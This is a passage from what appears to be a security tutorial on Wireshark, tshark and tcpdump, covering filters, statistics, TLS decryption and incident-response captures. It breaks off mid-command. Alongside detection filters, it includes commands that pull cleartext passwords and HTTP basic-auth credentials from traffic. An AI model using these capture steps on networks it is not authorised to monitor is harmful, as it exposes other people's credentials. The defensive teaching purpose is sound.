  # Find potential XSS:
  http.request contains "&amp;lt;script"

  # Detect password transmission in cleartext:
  ftp.request.command == "PASS"
  pop.request.command == "PASS"
  imap contains "LOGIN"

  # Detect ARP spoofing (duplicate IP):
  arp.duplicate-address-detected

  # Find Nmap SYN scans:
  tcp.flags.syn == 1 and tcp.flags.ack == 0 and tcp.window_size &amp;lt;= 1024

  # Detect Metasploit Meterpreter (default SSL cert):
  tls.handshake.type == 11        # Certificate in TLS
  # Then check certificate details for known Metasploit cert

  # Modbus write commands (ICS):
  modbus.func_code == 5           # Force Single Coil
  modbus.func_code == 6           # Preset Single Register
  modbus.func_code == 15          # Force Multiple Coils
  modbus.func_code == 16          # Preset Multiple Registers
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2.4 Statistics and Analysis Features
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Statistics menu — essential for pattern analysis:&lt;/span&gt;

&lt;span class="c"&gt;# Protocol Hierarchy:&lt;/span&gt;
&lt;span class="c"&gt;# Statistics → Protocol Hierarchy&lt;/span&gt;
&lt;span class="c"&gt;# Shows: percentage of traffic per protocol&lt;/span&gt;
&lt;span class="c"&gt;# Security use: unexpected protocols (Tor, unusual ports) stand out&lt;/span&gt;

&lt;span class="c"&gt;# Conversations:&lt;/span&gt;
&lt;span class="c"&gt;# Statistics → Conversations → TCP/UDP/IP&lt;/span&gt;
&lt;span class="c"&gt;# Shows: top talkers, bytes transferred per connection&lt;/span&gt;
&lt;span class="c"&gt;# Security use: identify exfiltration (large outbound transfers)&lt;/span&gt;
&lt;span class="c"&gt;# Security use: lateral movement (many connections from one source)&lt;/span&gt;

&lt;span class="c"&gt;# Endpoints:&lt;/span&gt;
&lt;span class="c"&gt;# Statistics → Endpoints&lt;/span&gt;
&lt;span class="c"&gt;# Shows: all unique IP/MAC addresses in capture&lt;/span&gt;
&lt;span class="c"&gt;# Security use: discover new/unexpected hosts on network&lt;/span&gt;

&lt;span class="c"&gt;# IO Graphs:&lt;/span&gt;
&lt;span class="c"&gt;# Statistics → I/O Graph&lt;/span&gt;
&lt;span class="c"&gt;# Shows: traffic volume over time&lt;/span&gt;
&lt;span class="c"&gt;# Security use: identify spikes (DDoS, exfiltration, scanning)&lt;/span&gt;

&lt;span class="c"&gt;# Follow TCP Stream:&lt;/span&gt;
&lt;span class="c"&gt;# Right-click packet → Follow → TCP Stream&lt;/span&gt;
&lt;span class="c"&gt;# Shows entire TCP conversation as text&lt;/span&gt;
&lt;span class="c"&gt;# Security use: see complete HTTP request/response, FTP session, etc.&lt;/span&gt;
&lt;span class="c"&gt;# Most useful command in Wireshark for protocol analysis&lt;/span&gt;

&lt;span class="c"&gt;# Export Objects:&lt;/span&gt;
&lt;span class="c"&gt;# File → Export Objects → HTTP/SMB/FTP/TFTP&lt;/span&gt;
&lt;span class="c"&gt;# Extracts transferred files from the capture&lt;/span&gt;
&lt;span class="c"&gt;# Security use: extract malware downloaded via HTTP&lt;/span&gt;
&lt;span class="c"&gt;# Security use: extract sensitive files exfiltrated via SMB&lt;/span&gt;

&lt;span class="c"&gt;# Expert Information:&lt;/span&gt;
&lt;span class="c"&gt;# Analyze → Expert Information&lt;/span&gt;
&lt;span class="c"&gt;# Shows: errors, warnings, protocol anomalies&lt;/span&gt;
&lt;span class="c"&gt;# Security use: malformed packets, checksum errors, unusual sequences&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2.5 Capture Filters vs Display Filters
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Capture Filters (BPF syntax — applied at capture time):
  These are applied BEFORE packets are stored
  Packets not matching are discarded
  Use when: you need to reduce capture size, focus on specific traffic
  Syntax: Berkeley Packet Filter (libpcap/BPF), different from display filters

  Examples:
  host 192.168.1.1                 Only traffic to/from this IP
  net 192.168.1.0/24               Only traffic in this subnet
  port 80                          Only traffic on port 80
  tcp                              Only TCP traffic
  not arp                          Exclude ARP
  host 192.168.1.1 and port 80     Combined: specific host AND port

Display Filters (Wireshark syntax — applied to existing capture):
  Applied after capture — original data preserved
  Can be changed without re-capturing
  Richer syntax than capture filters

The critical difference:
  If you set a capture filter: excluded packets are GONE
  If you set a display filter: excluded packets are hidden but still there
  For forensics: always capture everything, use display filters for analysis
  Capture filter only when: storage/performance constraints
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2.6 TLS Decryption in Wireshark
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Method 1: Pre-Master Secret Log (modern browsers/TLS):&lt;/span&gt;
&lt;span class="c"&gt;# Set environment variable before starting browser:&lt;/span&gt;
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;SSLKEYLOGFILE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/tmp/ssl_keys.log
firefox &amp;amp;                           &lt;span class="c"&gt;# Or chromium&lt;/span&gt;

&lt;span class="c"&gt;# In Wireshark:&lt;/span&gt;
&lt;span class="c"&gt;# Edit → Preferences → Protocols → TLS&lt;/span&gt;
&lt;span class="c"&gt;# (Pre)-Master-Secret log filename: /tmp/ssl_keys.log&lt;/span&gt;
&lt;span class="c"&gt;# Now HTTPS traffic is decrypted in real-time&lt;/span&gt;

&lt;span class="c"&gt;# Method 2: Server private key (only works for RSA key exchange, not ECDH):&lt;/span&gt;
&lt;span class="c"&gt;# Edit → Preferences → Protocols → TLS → Edit (RSA keys list)&lt;/span&gt;
&lt;span class="c"&gt;# Add: IP, Port, Protocol, Key file path&lt;/span&gt;
&lt;span class="c"&gt;# Import PEM private key of the server&lt;/span&gt;
&lt;span class="c"&gt;# Note: Does NOT work if server uses forward secrecy (ECDH/DHE) — most modern servers do&lt;/span&gt;

&lt;span class="c"&gt;# Method 3: Manual session key import:&lt;/span&gt;
&lt;span class="c"&gt;# If you have the session keys from another source&lt;/span&gt;
&lt;span class="c"&gt;# Import via the TLS pre-master secret log mechanism&lt;/span&gt;

&lt;span class="c"&gt;# Security use: decrypt HTTPS in lab environments to understand attack traffic&lt;/span&gt;
&lt;span class="c"&gt;# Incident response: if you have server private key, decrypt historical captures&lt;/span&gt;
&lt;span class="c"&gt;# Limitation: most modern servers use forward secrecy — key import won't work&lt;/span&gt;
&lt;span class="c"&gt;# → Use SSLKEYLOGFILE approach for browser traffic analysis&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2.7 Wireshark for Incident Response
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Command-line Wireshark (tshark):&lt;/span&gt;

&lt;span class="c"&gt;# Basic capture:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tshark &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-w&lt;/span&gt; /tmp/capture.pcap         &lt;span class="c"&gt;# Capture to file&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tshark &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-c&lt;/span&gt; 1000                      &lt;span class="c"&gt;# Capture 1000 packets&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tshark &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-a&lt;/span&gt; duration:60               &lt;span class="c"&gt;# Capture for 60 seconds&lt;/span&gt;

&lt;span class="c"&gt;# Read from file and apply filter:&lt;/span&gt;
tshark &lt;span class="nt"&gt;-r&lt;/span&gt; capture.pcap &lt;span class="nt"&gt;-Y&lt;/span&gt; &lt;span class="s2"&gt;"http.request.method == POST"&lt;/span&gt;

&lt;span class="c"&gt;# Extract specific fields:&lt;/span&gt;
tshark &lt;span class="nt"&gt;-r&lt;/span&gt; capture.pcap &lt;span class="nt"&gt;-T&lt;/span&gt; fields &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-e&lt;/span&gt; frame.time &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-e&lt;/span&gt; ip.src &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-e&lt;/span&gt; ip.dst &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-e&lt;/span&gt; tcp.dstport &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-e&lt;/span&gt; http.request.uri &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-Y&lt;/span&gt; &lt;span class="s2"&gt;"http.request"&lt;/span&gt;

&lt;span class="c"&gt;# Count DNS queries per domain:&lt;/span&gt;
tshark &lt;span class="nt"&gt;-r&lt;/span&gt; capture.pcap &lt;span class="nt"&gt;-T&lt;/span&gt; fields &lt;span class="nt"&gt;-e&lt;/span&gt; dns.qry.name &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-Y&lt;/span&gt; &lt;span class="s2"&gt;"dns.flags.response == 0"&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nb"&gt;sort&lt;/span&gt; | &lt;span class="nb"&gt;uniq&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-20&lt;/span&gt;

&lt;span class="c"&gt;# Extract all HTTP usernames and passwords (cleartext):&lt;/span&gt;
tshark &lt;span class="nt"&gt;-r&lt;/span&gt; capture.pcap &lt;span class="nt"&gt;-T&lt;/span&gt; fields &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-e&lt;/span&gt; http.authbasic &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-Y&lt;/span&gt; &lt;span class="s2"&gt;"http.authbasic"&lt;/span&gt;

&lt;span class="c"&gt;# Find large file transfers (potential exfiltration):&lt;/span&gt;
tshark &lt;span class="nt"&gt;-r&lt;/span&gt; capture.pcap &lt;span class="nt"&gt;-T&lt;/span&gt; fields &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-e&lt;/span&gt; ip.src &lt;span class="nt"&gt;-e&lt;/span&gt; ip.dst &lt;span class="nt"&gt;-e&lt;/span&gt; tcp.stream &lt;span class="nt"&gt;-e&lt;/span&gt; tcp.len &lt;span class="se"&gt;\&lt;/span&gt;
    | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{sum[$1" "$2]+=$4} END {for(k in sum) print sum[k], k}'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-10&lt;/span&gt;

&lt;span class="c"&gt;# Extract files from HTTP captures:&lt;/span&gt;
tshark &lt;span class="nt"&gt;-r&lt;/span&gt; capture.pcap &lt;span class="nt"&gt;--export-objects&lt;/span&gt; http,/tmp/extracted_files/

&lt;span class="c"&gt;# Convert pcap to readable JSON for automated analysis:&lt;/span&gt;
tshark &lt;span class="nt"&gt;-r&lt;/span&gt; capture.pcap &lt;span class="nt"&gt;-T&lt;/span&gt; json &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; analysis.json

&lt;span class="c"&gt;# Find all unique external IPs (potential C2 or exfiltration):&lt;/span&gt;
tshark &lt;span class="nt"&gt;-r&lt;/span&gt; capture.pcap &lt;span class="nt"&gt;-T&lt;/span&gt; fields &lt;span class="nt"&gt;-e&lt;/span&gt; ip.dst &lt;span class="se"&gt;\&lt;/span&gt;
    | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-vE&lt;/span&gt; &lt;span class="s2"&gt;"^(10&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;|172&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;(1[6-9]|2[0-9]|3[01])&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;|192&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;168&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;|127&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;)"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; Wireshark's Follow TCP Stream function is the single most powerful investigative capability in the tool. It reconstructs the entire conversation between two endpoints, showing you exactly what was said — credentials, commands, file contents, protocol exchanges. In incident response, following streams to malicious destinations reveals the attacker's exact actions. In OT security, following Modbus streams reveals every command sent to every PLC.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  3. tcpdump — The Command-Line Packet Capture Engine
&lt;/h2&gt;

&lt;h3&gt;
  
  
  3.1 Why tcpdump Matters
&lt;/h3&gt;

&lt;p&gt;tcpdump is the command-line packet analyser available on virtually every Unix-like system by default. It is the tool you use when:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;There is no GUI (server environments, embedded systems, OT devices)&lt;/li&gt;
&lt;li&gt;You need to capture remotely and analyse locally&lt;/li&gt;
&lt;li&gt;You need scripted, automated packet capture&lt;/li&gt;
&lt;li&gt;Performance constraints prevent running Wireshark&lt;/li&gt;
&lt;li&gt;You are working on a system with no desktop environment&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;tcpdump uses libpcap (same library as Wireshark) and produces standard pcap files that Wireshark can read.&lt;/p&gt;

&lt;h3&gt;
  
  
  3.2 tcpdump Syntax and Filters
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;tcpdump syntax:
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="o"&gt;[&lt;/span&gt;options] &lt;span class="o"&gt;[&lt;/span&gt;filter expression]

Key Options:
  &lt;span class="nt"&gt;-i&lt;/span&gt; eth0          Interface to capture on &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;-i&lt;/span&gt; any &lt;span class="o"&gt;=&lt;/span&gt; all interfaces&lt;span class="o"&gt;)&lt;/span&gt;
  &lt;span class="nt"&gt;-w&lt;/span&gt; file.pcap     Write to pcap file &lt;span class="o"&gt;(&lt;/span&gt;don&lt;span class="s1"&gt;'t display)
  -r file.pcap     Read from pcap file
  -c 100           Capture only 100 packets then stop
  -n               Don'&lt;/span&gt;t resolve IP addresses to hostnames &lt;span class="o"&gt;(&lt;/span&gt;faster, clearer&lt;span class="o"&gt;)&lt;/span&gt;
  &lt;span class="nt"&gt;-nn&lt;/span&gt;              Don&lt;span class="s1"&gt;'t resolve ports either (show numbers, not service names)
  -v               Verbose (more protocol detail)
  -vv              Very verbose
  -vvv             Maximum verbosity
  -A               Print packet data in ASCII
  -X               Print packet data in hex and ASCII
  -xx              Print with link layer headers in hex
  -s 0             Capture full packet (default is 65535 bytes, -s 0 = unlimited)
  -S               Print absolute sequence numbers (useful for TCP analysis)
  -e               Print link-layer header (MAC addresses)
  -l               Line-buffer output (for piping to grep/awk in real-time)
  -q               Quiet mode (less protocol detail)
  -t               Don'&lt;/span&gt;t print timestamp
  &lt;span class="nt"&gt;-tt&lt;/span&gt;              Print Unix epoch timestamp &lt;span class="o"&gt;(&lt;/span&gt;useful &lt;span class="k"&gt;for &lt;/span&gt;log correlation&lt;span class="o"&gt;)&lt;/span&gt;
  &lt;span class="nt"&gt;-ttt&lt;/span&gt;             Print delta between packets
  &lt;span class="nt"&gt;-tttt&lt;/span&gt;            Print &lt;span class="nb"&gt;date &lt;/span&gt;and &lt;span class="nb"&gt;time&lt;/span&gt;
  &lt;span class="nt"&gt;-D&lt;/span&gt;               List available interfaces
  &lt;span class="nt"&gt;-Z&lt;/span&gt; user          Drop privileges to user after opening interface

Filter Syntax &lt;span class="o"&gt;(&lt;/span&gt;BPF — Berkeley Packet Filter&lt;span class="o"&gt;)&lt;/span&gt;:
  Primitives: host, net, port, src, dst, proto
  Logical: and &lt;span class="o"&gt;(&amp;amp;&amp;amp;)&lt;/span&gt;, or &lt;span class="o"&gt;(||)&lt;/span&gt;, not &lt;span class="o"&gt;(!)&lt;/span&gt;

  host 192.168.1.1              Traffic to or from this IP
  src host 192.168.1.5          Traffic FROM this IP
  dst host 192.168.1.1          Traffic TO this IP
  net 192.168.1.0/24            Traffic &lt;span class="k"&gt;in &lt;/span&gt;subnet
  port 80                       Traffic on port 80 &lt;span class="o"&gt;(&lt;/span&gt;TCP or UDP&lt;span class="o"&gt;)&lt;/span&gt;
  tcp port 443                  TCP port 443
  udp port 53                   UDP port 53
  portrange 1-1024              Any port &lt;span class="k"&gt;in &lt;/span&gt;range
  not port 22                   Exclude SSH
  tcp and not port 22           TCP, excluding SSH
  host 192.168.1.1 and port 80  Specific host + port

Protocol Primitives:
  ip, ip6, arp, rarp, tcp, udp, icmp, icmp6
  proto 89                       OSPF &lt;span class="o"&gt;(&lt;/span&gt;IP protocol 89&lt;span class="o"&gt;)&lt;/span&gt;

Advanced BPF &lt;span class="o"&gt;(&lt;/span&gt;byte offset matching&lt;span class="o"&gt;)&lt;/span&gt;:
  tcp[tcpflags] &amp;amp; tcp-syn &lt;span class="o"&gt;!=&lt;/span&gt; 0    SYN packets
  tcp[tcpflags] &amp;amp; tcp-rst &lt;span class="o"&gt;!=&lt;/span&gt; 0    RST packets
  tcp[tcpflags] &lt;span class="o"&gt;==&lt;/span&gt; tcp-syn        ONLY SYN &lt;span class="o"&gt;(&lt;/span&gt;not SYN-ACK&lt;span class="o"&gt;)&lt;/span&gt;
  ip[8] &amp;lt;&lt;span class="o"&gt;=&lt;/span&gt; 5                      TTL &amp;lt;&lt;span class="o"&gt;=&lt;/span&gt; 5 &lt;span class="o"&gt;(&lt;/span&gt;traceroute-like packets&lt;span class="o"&gt;)&lt;/span&gt;
  ip[6:2] &amp;amp; 0x3fff &lt;span class="o"&gt;!=&lt;/span&gt; 0          IP fragmented packets
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3.3 Essential tcpdump Commands
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Basic capture and display:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0                              &lt;span class="c"&gt;# Basic capture, all traffic&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-nn&lt;/span&gt;                          &lt;span class="c"&gt;# No name resolution&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-nn&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt;                       &lt;span class="c"&gt;# More detail&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; any &lt;span class="nt"&gt;-nn&lt;/span&gt;                           &lt;span class="c"&gt;# All interfaces&lt;/span&gt;

&lt;span class="c"&gt;# Save and read:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-w&lt;/span&gt; /tmp/capture.pcap         &lt;span class="c"&gt;# Save to file&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-r&lt;/span&gt; /tmp/capture.pcap &lt;span class="nt"&gt;-nn&lt;/span&gt;             &lt;span class="c"&gt;# Read from file&lt;/span&gt;

&lt;span class="c"&gt;# Targeted captures:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 host 192.168.1.100           &lt;span class="c"&gt;# Specific host&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 port 80                      &lt;span class="c"&gt;# Port 80&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="s1"&gt;'tcp port 80 and host 192.168.1.100'&lt;/span&gt;

&lt;span class="c"&gt;# Show packet content:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-A&lt;/span&gt; port 80                   &lt;span class="c"&gt;# ASCII content&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-X&lt;/span&gt; port 80                   &lt;span class="c"&gt;# Hex + ASCII&lt;/span&gt;

&lt;span class="c"&gt;# Capture only specific number:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-c&lt;/span&gt; 100 &lt;span class="nt"&gt;-w&lt;/span&gt; /tmp/100pkts.pcap  &lt;span class="c"&gt;# Capture 100 packets&lt;/span&gt;

&lt;span class="c"&gt;# Time-limited capture:&lt;/span&gt;
&lt;span class="nb"&gt;timeout &lt;/span&gt;60 &lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-w&lt;/span&gt; /tmp/60sec.pcap  &lt;span class="c"&gt;# 60 seconds&lt;/span&gt;

&lt;span class="c"&gt;# Capture and pipe to analysis:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-l&lt;/span&gt; &lt;span class="nt"&gt;-A&lt;/span&gt; port 80 | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"GET&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;POST&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;Host:"&lt;/span&gt;
&lt;span class="c"&gt;# -l: line buffered (necessary for real-time piping)&lt;/span&gt;

&lt;span class="c"&gt;# Security-specific captures:&lt;/span&gt;
&lt;span class="c"&gt;# Capture all new TCP connections (SYN only):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="s1"&gt;'tcp[tcpflags] &amp;amp; tcp-syn != 0 and tcp[tcpflags] &amp;amp; tcp-ack = 0'&lt;/span&gt;

&lt;span class="c"&gt;# Capture DNS traffic:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-nn&lt;/span&gt; udp port 53

&lt;span class="c"&gt;# Capture ICMP:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 icmp

&lt;span class="c"&gt;# Capture ARP:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 arp

&lt;span class="c"&gt;# Detect SYN flood (high rate of SYN packets):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-nn&lt;/span&gt; &lt;span class="s1"&gt;'tcp[tcpflags] == tcp-syn'&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $3}'&lt;/span&gt; | &lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt; &lt;span class="nt"&gt;-f1-4&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nb"&gt;sort&lt;/span&gt; | &lt;span class="nb"&gt;uniq&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; | &lt;span class="nb"&gt;head&lt;/span&gt;

&lt;span class="c"&gt;# Capture credentials in cleartext protocols:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-A&lt;/span&gt; &lt;span class="nt"&gt;-s0&lt;/span&gt; &lt;span class="s1"&gt;'port 21 or port 23 or port 110 or port 143'&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-iE&lt;/span&gt; &lt;span class="s2"&gt;"user|pass|login"&lt;/span&gt;

&lt;span class="c"&gt;# Large file capture with rotation:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-w&lt;/span&gt; /tmp/capture-%Y%m%d%H%M%S.pcap &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-G&lt;/span&gt; 3600 &lt;span class="se"&gt;\ &lt;/span&gt;                   &lt;span class="c"&gt;# Rotate every 3600 seconds (1 hour)&lt;/span&gt;
    &lt;span class="nt"&gt;-C&lt;/span&gt; 100                       &lt;span class="c"&gt;# Max 100MB per file&lt;/span&gt;

&lt;span class="c"&gt;# Remote capture (capture on remote host, analyse locally):&lt;/span&gt;
ssh user@remote_host &lt;span class="s2"&gt;"sudo tcpdump -i eth0 -w - -U host 192.168.1.1"&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
    wireshark &lt;span class="nt"&gt;-k&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; -
&lt;span class="c"&gt;# -w -: write to stdout&lt;/span&gt;
&lt;span class="c"&gt;# -U: flush after each packet (real-time)&lt;/span&gt;
&lt;span class="c"&gt;# wireshark -k: start capturing immediately&lt;/span&gt;
&lt;span class="c"&gt;# wireshark -i -: read from stdin&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3.4 tcpdump in Security Contexts
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Incident Response: capture evidence before it's lost&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-w&lt;/span&gt; /evidence/&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;hostname&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;_&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;date&lt;/span&gt; +%Y%m%d%H%M%S&lt;span class="si"&gt;)&lt;/span&gt;.pcap &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-s&lt;/span&gt; 0 &lt;span class="se"&gt;\ &lt;/span&gt;                      &lt;span class="c"&gt;# Full packets (forensic-grade)&lt;/span&gt;
    &lt;span class="nt"&gt;-tttt&lt;/span&gt; &lt;span class="se"&gt;\ &lt;/span&gt;                     &lt;span class="c"&gt;# Timestamp with date&lt;/span&gt;
    &amp;amp;                            &lt;span class="c"&gt;# Background — continue collecting&lt;/span&gt;

&lt;span class="c"&gt;# SOC: monitor for specific IOCs (Indicators of Compromise)&lt;/span&gt;
&lt;span class="nv"&gt;SUSPICIOUS_IP&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"185.220.101.5"&lt;/span&gt;    &lt;span class="c"&gt;# Example known malicious IP&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-nn&lt;/span&gt; &lt;span class="nt"&gt;-A&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
